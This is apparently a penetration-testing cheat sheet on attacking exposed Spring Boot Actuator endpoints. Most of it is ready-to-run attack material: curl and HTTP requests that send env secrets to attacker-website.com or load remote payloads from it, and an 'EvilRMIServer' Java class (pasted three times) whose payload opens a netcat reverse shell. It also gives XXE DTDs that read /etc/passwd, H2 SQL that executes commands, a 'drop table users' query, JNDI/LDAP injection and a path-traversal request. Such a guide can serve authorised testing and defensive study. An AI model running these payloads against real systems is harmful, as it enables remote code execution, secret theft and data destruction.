Spring Boot Actuators

Theory

The Spring Boot Framework includes a number of features called actuators to help you monitor and manage your web application when you push it to production. Intended to be used for auditing, health, and metrics gathering, they can also open a hidden door to your server when misconfigured.

The following Actuator endpoints could potentially have security implications leading to possible vulnerabilities:

  • /dump - displays a dump of threads (including a stack trace)

  • /trace - displays the last several HTTP messages (which could include session identifiers)

  • /logfile - outputs the contents of the log file

  • /shutdown - shuts the application down

  • /mappings - shows all of the MVC controller mappings

  • /env - provides access to the configuration environment

  • /actuator/env

  • /restart - restarts the application

  • /heapdump - Builds and returns a heap dump from the JVM used by our application

For Spring 1x, they are registered under the root URL, and in 2x they moved to the "/actuator/" base path.

Practice

We may use the spring-boot.txt wordlist from SecList to fuzz actuators URLs

feroxbuster -u http://<TARGET>/ -w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt

Env

env exposes properties from Spring's ConfigurableEnvironment. Exposition of this endpoint can lead to RCE or sensitive information leaks.

Spring Boot 2.x uses json instead of x-www-form-urlencoded for property change requests via the env endpoint

Information returned by the env and configprops endpoints can be somewhat sensitive so keys matching a certain pattern are sanitized (replaced by *) by default. However, below you can find several ways to retrieve these values

eureka.client.serviceUrl.defaultZone

Exploitingeureka.client.serviceUrl.defaultZone requires the following conditions:

  • /refresh endpoint is available

  • An application uses spring-cloud-starter-netflix-eureka-client dependency

Retrieving env properties

You can get env property value in plaintext by first setting the eureka.client.serviceUrl.defaultZone to the following values

POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "eureka.client.serviceUrl.defaultZone",
    "value": "http://value:${your.property.name}@attacker-website.com/"
}

#Or curl command
curl -X POST -H "Content-Type: application/json" -d '{"name": "eureka.client.serviceUrl.defaultZone","value": "http://value:${your.property.name}@attacker-website.com/"}' http://<TARGET>/actuator/env

Then, refresh the configuration

POST /actuator/refresh HTTP/1.1
Content-Type: application/json

#Or curl command
curl -X POST -H "Content-Type: application/json" http://<TARGET>/actuator/refresh

XStream deserialization RCE

It requires Eureka-Client version < 1.8.7.

You can gain RCE by first setting up a website that responds with a malicious XStream payload using springboot-xstream-rce.py

python springboot-xstream-rce.py

Then, set the eureka.client.serviceUrl.defaultZone property:

POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "eureka.client.serviceUrl.defaultZone",
    "value": "http://attacker-website.com/payload"
}

#Or curl command
curl -X POST -H "Content-Type: application/json" -d '{"name": "eureka.client.serviceUrl.defaultZone","value": "http://attacker-website.com/payload"}' http://<TARGET>/actuator/env

Then, refresh the configuration, the code will be executed.

POST /actuator/refresh HTTP/1.1
Content-Type: application/json

#Or curl command
curl -X POST -H "Content-Type: application/json" http://<TARGET>/actuator/refresh
logging.config

Exploiting logging.config requires /restart to be available.

Logback JDNI RCE

ogging.config can lead to RCE via Logback JNDI, Check reloadByURL - RCE for the full process of hosting LDAP/RMI rogue server. The exploit is similar.

First, open a simple HTTP server on the machine you control

python3 -m http.server 80

And host the logback configuration at http://attacker-website.com/logback.xml: with the following content:

<configuration>
  <insertFromJNDI env-entry-name="rmi://attacker-website.com:1097/jndi" as="appName" />
</configuration>

Then the next step is to create a malicious RMI service:

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
 
public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
 
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f']).start()\")"));
 
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("jndi", referenceWrapper);
    }
}

pom.xml to compile this project:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.springframework</groupId>
    <artifactId>RMIServer</artifactId>
    <version>0.0.1</version>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.0.0.RELEASE</version>
    </parent>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
    </dependencies>

    <properties>
        <java.version>1.8</java.version>
    </properties>

</project>

Run the compiled jar

java -jar RMIServer-0.1.0.jar

Set logging.config properties:

POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "logging.config",
    "value": "http://attacker-website.com/logback.xml"
}

#Or curl command
curl -X POST -H "Content-Type: application/json" -d '{"name": "logging.config","value":"http://attacker-website.com/logback.xml"}' http://<TARGET>/actuator/env

Restart the application:

POST /actuator/restart HTTP/1.1
Content-Type: application/json

#Or curl command
curl -X POST -H "Content-Type: application/json" http://<TARGET>/actuator/restart

Groovy RCE

First, host the payload.groovy file with the following content:

Runtime.getRuntime().exec("open -a Calculator")

Set logging.config:

POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "logging.config",
    "value": "http://attacker-website.com/payload.groovy"
}

#Or curl command
curl -X POST -H "Content-Type: application/json" -d '{"name":"logging.config","value":"http://attacker-website.com/payload.groovy"}' http://<TARGET>/actuator/env

Restart the application:

POST /actuator/restart HTTP/1.1
Content-Type: application/json

#Or curl command
curl -X POST -H "Content-Type: application/json" http://<TARGET>/actuator/restart
spring.main.sources

Exploiting spring.main.sources requires/restart to be available.

Groovy RCE

First, host the payload.groovy file with the following content:

Runtime.getRuntime().exec("open -a Calculator")

Set logging.config:

POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "spring.main.sources",
    "value": "http://attacker-website.com/payload.groovy"
}

#Or curl command
curl -X POST -H "Content-Type: application/json" -d '{"name":"spring.main.sources","value":"http://attacker-website.com/payload.groovy"}' http://<TARGET>/actuator/env

Restart the application:

POST /actuator/restart HTTP/1.1
Content-Type: application/json

#Or curl command
curl -X POST -H "Content-Type: application/json" http://<TARGET>/actuator/restart
spring.datasource.tomcat

validationQuery

spring.datasource.tomcat.validationQuery allows specifying any SQL query, that will be automatically executed against the current database. It could be any statement, including insert, update, or delete.

POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "spring.datasource.tomcat.validationQuery",
    "value": "drop+table+users"
}

#Or curl command
curl -X POST -H "Content-Type: application/json" -d '{"name":"spring.datasource.tomcat.validationQuery","value":"drop table users"}' http://<TARGET>/actuator/env

url

spring.datasource.tomcat.url allows modifying the current JDBC connection string.

The problem here is that when the application establishing the connection to the database is already running, just updating the JDBC string has no effect. But you can try using spring.datasource.tomcat.max-active to increase the number of simultaneous database connections.

Thus, you can change the JDBC connection string, increase the number of connections, and then send many requests to the application to simulate a heavy load. Under load, the application will create a new database connection with an updated malicious JDBC string.

curl -X POST -H "Content-Type: application/json" -d '{"name":"spring.datasource.tomcat.url","value":"jdbc:mysql://ATTACKING-IP:3001/testx1"}' http://<TARGET>/actuator/env
curl -X POST -H "Content-Type: application/json" -d '{"name":"spring.datasource.tomcat.max-active","value":"5"}' http://<TARGET>/actuator/env
spring.datasource

data

spring.datasource.data can be used to gain RCE if the following coditions are met:

  • /restart is available

  • h2database and spring-boot-starter-data-jpa dependencies are used

In order to exploit this endpoint, start a simple HTTP server on the machine you control

python3 -m http.server 80

And then, host the following payload.sql file

CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');

Note that te T5 method in the payload must be renamed (to T6) after the command is executed before it can be recreated and used. Otherwise, the vulnerability will not trigger the next time an application is restarted.

Then, set the spring.datasource.data:

POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "spring.datasource.data",
    "value": "http://attacker-website.com/payload.sql"
}

#Or curl command
curl -X POST -H "Content-Type: application/json" -d '{"name":"spring.datasource.data","value":"http://attacker-website.com/payload.sql"}' http://<TARGET>/actuator/env

Restart the application:

POST /actuator/restart HTTP/1.1
Content-Type: application/json

#Or curl command
curl -X POST -H "Content-Type: application/json" http://<TARGET>/actuator/restart

url

spring.datasource.url is database connection string that is used only for the first connection. You can chain it with JDBC deserialization vulnerability in MySQL to gain RCE. The vulnerability requires the following conditions:

  • /refresh is available

  • mysql-connector-java dependency is used

Note that changing spring.datasource.url will temporarily disable all normal database services

To exploit, use the /actuator/env endpoint to fetch the next values:

  • mysql-connector-java version number (5.x or 8.x)

  • Common deserialization gadgets, such as commons-collections

  • spring.datasource.url value to facilitate later crafting of its normal JDBC URL

Create a payload with ysoserial

java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

Use springboot-jdbc-deserialization-rce.py to host payload.ser

Set the spring.datasource.url property: mysql-connector-java version 5.x:

POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "spring.datasource.url",
    "value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
}

#Or curl command
curl -X POST -H "Content-Type: application/json" -d '{"name":"spring.datasource.url","value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"}' http://<TARGET>/actuator/env

mysql-connector-java version 8.x:

POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "spring.datasource.url",
    "value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
}

#Or curl command
curl -X POST -H "Content-Type: application/json" -d '{"name":"spring.datasource.url","value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"}' http://<TARGET>/actuator/env

Refresh the configuration:

POST /actuator/refresh HTTP/1.1
Content-Type: application/json

#Or curl command
curl -X POST -H "Content-Type: application/json" http://<TARGET>/actuator/refresh

Finally, try to access an endpoint that will trigger a database query, for example /product/list, or find other ways to query the database and trigger the vulnerability

spring.cloud.bootstrap.location

Exploiting spring.cloud.bootstrap.location requires the following conditions:

  • /refresh endpoint is available

  • spring-cloud-starter version < 1.3.0.RELEASE

Retrieving env properties

You can get env property value in plaintext by starting a webserver and setting the spring.cloud.bootstrap.location property as follow:

POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "spring.cloud.bootstrap.location",
    "value": "http://attacker-website.com/?=${your.property.name}"
}

#Or curl command
curl -X POST -H "Content-Type: application/json" -d '{"name":"spring.cloud.bootstrap.location","value":"http://attacker-website.com/?=${your.property.name}"}' http://<TARGET>/actuator/env

Refresh the configuration:

POST /actuator/refresh HTTP/1.1
Content-Type: application/json

#Or curl command
curl -X POST -H "Content-Type: application/json" http://<TARGET>/actuator/refresh

Retrive the property value from attacker-website.com logs

SnakeYML RCE

spring.cloud.bootstrap.location allows loading an external config in YAML format. You can gain code execution with the next steps:

Host config.yml at http://attacker-website.com/config.yml with the following content:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker-website.com/payload.jar"]
  ]]
]

Host payload.jar with the code that will be executed, check marshalsec and yaml-payload for how to prepare the payload

Set the spring.cloud.bootstrap.location property:

POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "spring.cloud.bootstrap.location",
    "value": "http://attacker-website.com/yaml-payload.yml"
}

#Or curl command
curl -X POST -H "Content-Type: application/json" -d '{"name":"spring.cloud.bootstrap.location","value":"http://attacker-website.com/yaml-payload.yml"}' http://<TARGET>/actuator/env

Refresh the configuration and code will be executed:

POST /actuator/refresh HTTP/1.1
Content-Type: application/json

#Or curl command
curl -X POST -H "Content-Type: application/json" http://<TARGET>/actuator/refresh
spring.datasource.hikari.connection-test-query

spring.datasource.hikari.connection-test-query sets a query that will be executed before granting a connection from a pool. It can lead to RCE if the following conditions are met:

  • /restart endpoint is available

  • com.h2database.h2 dependency is used

You can gain code execution by setting the spring.datasource.hikari.connection-test-query property

POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name": "spring.datasource.hikari.connection-test-query",
    "value": "CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"
}

#Or curl command
curl -X POST -H "Content-Type: application/json" -d "{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');\"}" http://<TARGET>/actuator/env

The T5 method in the payload must be renamed (to T6) after the command is executed before it can be recreated and used. Otherwise, the vulnerability will not trigger the next time an application is restarted.

Restart the application:

POST /actuator/restart HTTP/1.1
Content-Type: application/json

#Or curl command
curl -X POST -H "Content-Type: application/json" http://<TARGET>/actuator/restart

Jolokia

If the Jolokia Library is in the target application classpath, it is automatically exposed by Spring Boot under the /jolokia actuator endpoint. Jolokia allows HTTP access to all registered MBeans and is designed to perform the same operations you can perform with JMX. It is possible to list all available MBeans actions using the URL:

http://<TARGET>/jolokia/list
http://<TARGET>/actuator/jolokia/list
Extract env properties

You can invoke relevant MBeans to retrive env property values in plaintext. Below you can find MBeans that can be used for this purpose. However, the situation may differ and the Mbeans listed may not be available. However, you can search methods that can be called by keywords like getProperty.

org.springframework.boot

You can get env property value in plaintext using the following request:

POST /actuator/jolokia HTTP/1.1
Content-Type: application/json

{
    "mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
    "operation": "getProperty",
    "type": "EXEC",
    "arguments": [
        "your.property.name"
    ]
}

#Or curl command
curl -X POST -H "Content-Type: application/json" -d '{"mbean":"org.springframework.boot:name=SpringApplication,type=Admin","operation":"getProperty","type":"EXEC","arguments":["your.property.name"]}' http://<TARGET>/actuator/jolokia

org.springframework.cloud.context.environment

You can get env property value in plaintext using the following request:

POST /actuator/jolokia HTTP/1.1
Content-Type: application/json

{
    "mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager",
    "operation": "getProperty",
    "type": "EXEC",
    "arguments": [
        "your.property.name"
    ]
}

#Or curl command
curl -X POST -H "Content-Type: application/json" -d '{"mbean":"org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation":"getProperty","type":"EXEC","arguments":["your.property.name"]}' http://<TARGET>/actuator/jolokia
reloadByURL - XXE

The reloadByURL action, provided by the Logback library, allows us to reload the logging XML config file from an external URL

If the action reloadByURL exists, the logging configuration can be reload from an external URL. You can exploit this feature to trigger an Out-Of-Band XXE.

Host the logback.xml configuration and file.dtd at http://attacker-website.com/:

# file logback.xml from the server attacker-website
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://attacker-website/file.dtd">%remote;%int;]>
<a>&trick;</a>
# file file.dtd from the server attacker-website
<!ENTITY % d SYSTEM "file:///etc/passwd"> 
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

the logging configuration can be reload from our server by requesting following URL:

curl http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker-website.com!/logback.xml
reloadByURL - RCE

The reloadByURL action, provided by the Logback library, allows us to reload the logging XML config file from an external URL

In the XML file, we can include a tag like <insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" /> and the name attribute will be passed to the DirContext.lookup() method. If we can supply an arbitrary name into the .lookup() function, we don't even need XXE or HeapDump because it gives us a full Remote Code Execution.

JDK > 1.8.0_191

Open a simple HTTP server on the machine you control

python3 -m http.server 80

And host the logback configuration at http://attacker-website.com/logback.xml:

# file logback.xml from the server attacker-website
<configuration>
  <insertFromJNDI env-entry-name="rmi://attacker-website.com:1097/jndi" as="appName" />
</configuration>

Then the next step is to create a malicious RMI service:

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
 
public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
 
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f']).start()\")"));
 
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("jndi", referenceWrapper);
    }
}

pom.xml to compile this project:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.springframework</groupId>
    <artifactId>RMIServer</artifactId>
    <version>0.0.1</version>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.0.0.RELEASE</version>
    </parent>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
    </dependencies>

    <properties>
        <java.version>1.8</java.version>
    </properties>

</project>

Run the compiled jar

java -jar RMIServer-0.1.0.jar

The logging configuration can be reload from our server by requesting following URL:

curl http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker-website.com!/logback.xml

JDK < 1.8.0_191

Open a simple HTTP server on the machine you control

python3 -m http.server 80

and host the logback configuration at http://attacker-website.com/logback.xml:

# file logback.xml from the server attacker-website
<configuration>
    <insertFromJNDI env-entry-name="ldap://attacker-website.com:1389/JNDIObject" as="appName" />
</configuration>

Prepare a Java code for execution, you can reuse the JNDIObject.java. Compile it such a way that it is compatible with earlier JDK versions:

# Compile it 
javac -source 1.5 -target 1.5 JNDIObject.java

Then copy the generated JNDIObject.classfile to the root directory of the http://attacker-website.com website.

Set up LDAP server, use marshalsec to set up the server:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-website.com:80/#JNDIObject 1389

The logging configuration can be reload from our server by requesting following URL:

curl http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker-website.com!/logback.xml

If an application successfully requests logback.xml and marshalsec receives the target request, but an application does not request JNDIObject.class, it is likely that an application's JDK version is too high, causing JNDI usage to fail.

createJNDIRealm - RCE

One of the MBeans of Tomcat (embedded into Spring Boot) is createJNDIRealm. createJNDIRealm allows creating JNDIRealm that is vulnerable to JNDI injection. You can expoit with the next steps:

Get the /jolokia/list or /actuator/jolokia/list to check if type=MBeanFactoryand and createJNDIRealm are in place

curl https://<TARGET>/actuator/jolokia/list | grep 'createJNDIRealm'

JDK > 1.8.0_191

Open a simple HTTP server on the machine you control

python3 -m http.server 80

Then the next step is to create a malicious RMI service:

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
 
public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
 
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f']).start()\")"));
 
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("jndi", referenceWrapper);
    }
}

pom.xml to compile this project:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.springframework</groupId>
    <artifactId>RMIServer</artifactId>
    <version>0.0.1</version>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.0.0.RELEASE</version>
    </parent>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
    </dependencies>

    <properties>
        <java.version>1.8</java.version>
    </properties>

</project>

Run the compiled jar

java -jar RMIServer-0.1.0.jar

Modify the target address, RMI address, port and other information in the springboot-realm-jndi-rce.py script according to the actual situation , and then run it on the server you control.

#Start listener
nc -lvnp 443

#Exploit (JNDIObject = jndi)
python springboot-realm-jndi-rce.py

JDK < 1.8.0_191

Open a simple HTTP server on the machine you control

python3 -m http.server 80

Prepare a Java code for execution, you can reuse the JNDIObject.java. Compile it such a way that it is compatible with earlier JDK versions:

# Compile it 
javac -source 1.5 -target 1.5 JNDIObject.java

Then copy the generated JNDIObject.classfile to the root directory of the http://attacker-website.com website.

Set up RMI server, use marshalsec to set up the server:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker-website.com:80/#JNDIObject 1389

The we wan send the payload by editing the target address, RMI address, port and other information in the springboot-realm-jndi-rce.py script according to the actual situation , and then run it on the server you control.

#Start listener
nc -lvnp 443

#Exploit
python springboot-realm-jndi-rce.py

gateway

The gateway actuator endpoint lets you monitor and interact with a Spring Cloud Gateway application. In other words, you can define routes for the application and use gateway actuator to trigger requests according to these routes.

Routes can provide access to hidden or internal endpoints, which can be misconfigured or vulnerable. You can fetch all available routes via GET-request to /actuator/gateway/routes.

SSRF

If adding routes do not require administrative permissions. The next request will create a route to localhost:

POST /actuator/gateway/routes/new_route HTTP/1.1
Content-Type: application/json

{
"predicates": [
    {
    "name": "Path",
    "args": {
        "_genkey_0": "/new_route/**"
    }
    }
],
"filters": [
    {
    "name": "RewritePath",
    "args": {
        "_genkey_0": "/new_route(?<path>.*)",
        "_genkey_1": "/${path}"
    }
    }
],
"uri": "https://localhost",
"order": 0
}

Send refresh request to apply new route:

POST /actuator/gateway/refresh HTTP/1.1
Content-Type: application/json

{
    "predicate": "Paths: [/new_route], match trailing slash: true",
    "route_id": "new_route",
    "filters": [
        "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"
    ],
    "uri": "https://localhost",
    "order": 0
}
SpEL Injection

Applications using Spring Cloud Gateway in the version prior to 3.1.0 and 3.0.6, are vulnerable to CVE-2022-22947 that leads to a SpEL injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

You may check this links for more details:

https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

trace or httptrace

Displays HTTP trace information (by default, the last 100 HTTP request-response exchanges). It may disclose details about requests of internal applications as well as user cookies and JWT tokens.

trace requires an HttpTraceRepository bean.

curl http://<TARGET>/actuator/httptrace -i -X GET
curl http://<TARGET>/actuator/trace -i -X GET

h2-console

RCE

To exploit, it requires the following conditions:

  • com.h2database.h2 dependency is used

  • h2 console is enabled in Spring configuration spring.h2.console.enabled=true

You can gain RCE via JDNI in h2 database console:

Access the h2 console /h2-console. An application will refirect to /h2-console/login.jsp?jsessionid=xxxxxx. Catch jsessionid value.

Prepare a Java code for execution, you can reuse the JNDIObject.java. Compile in such a way that it is compatible with earlier JDK versions:

javac -source 1.5 -target 1.5 JNDIObject.java

Host compiled JNDIObject.class at http://attacker-website.com/ and Set up a LDAP service with marshalsec:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-website.com:80/#JNDIObject 1389

Trigger JNDI injection:

POST /h2-console/login.do?jsessionid=xxxxxx
Host: vulnerable-website.com
Content-Type: application/json
Referer: http://vulnerable-website.com/h2-console/login.jsp?jsessionid=xxxxxx

{
    "language": "en",
    "setting": "Generic+H2+(Embedded)",
    "name": "Generic+H2+(Embedded)",
    "driver": "javax.naming.InitialContext",
    "url": "ldap://attacker-website.com:1389/JNDIObject",
    "user": "",
    "password": ""
}

#Or curl
curl -X POST -H 'Content-Type: application/json' -d '{"language": "en","setting": "Generic+H2+(Embedded)","name": "Generic+H2+(Embedded)","driver": "javax.naming.InitialContext","url": "ldap://attacker-website.com:1389/JNDIObject","user": "","password": ""}' http://<TARGET>/h2-console/login.do?jsessionid=xxxxxx

mappings

mappings displays a collated list of all @RequestMapping paths.

curl http://<TARGET>/actuator/mappings -i -X GET

sessions

sessions allows retrieval and deletion of user sessions from a Spring Session-backed session store. Requires a Servlet-based web application using Spring Session.

curl http://<TARGET>/actuator/sessions?username=alice -i -X GET

shutdown

shutdown lets an application be gracefully shutdown. Disabled by default.

$ curl http://<TARGET>/actuator/shutdown -i -X POST

heapdump

heapdump returns a hprof heap dump file that may contain sensitive data, such as env properties. To retrieve data from a prof heap dump use Eclipse Memory Analyzer tool, check Find password plaintext in spring heapdump using MAT.

curl http://<TARGET>/actuator/heapdump -O

logfile

logfile returns the contents of the logfile (if logging.file.name or logging.file.path properties have been set). Supports the use of the HTTP Range header to retrieve part of the log file's content.

curl http://<TARGET>/actuator/logfile -i -X GET

logview

spring-boot-actuator-logview version before 0.2.13 is vulnerable to path traversal that allows you to retreive arbitrary files.

# retreaving /etc/passwd
curl http://<TARGET>/manage/log/view?filename=/etc/passwd&base=../../../../../

dump or threaddump

dump or threaddump performs a thread dump from the application's JVM.

curl http://<TARGET>/actuator/threaddump -i -X GET -H 'Accept: application/json'
curl http://<TARGET>/actuator/dump -i -X GET -H 'Accept: application/json'

Resources

Last updated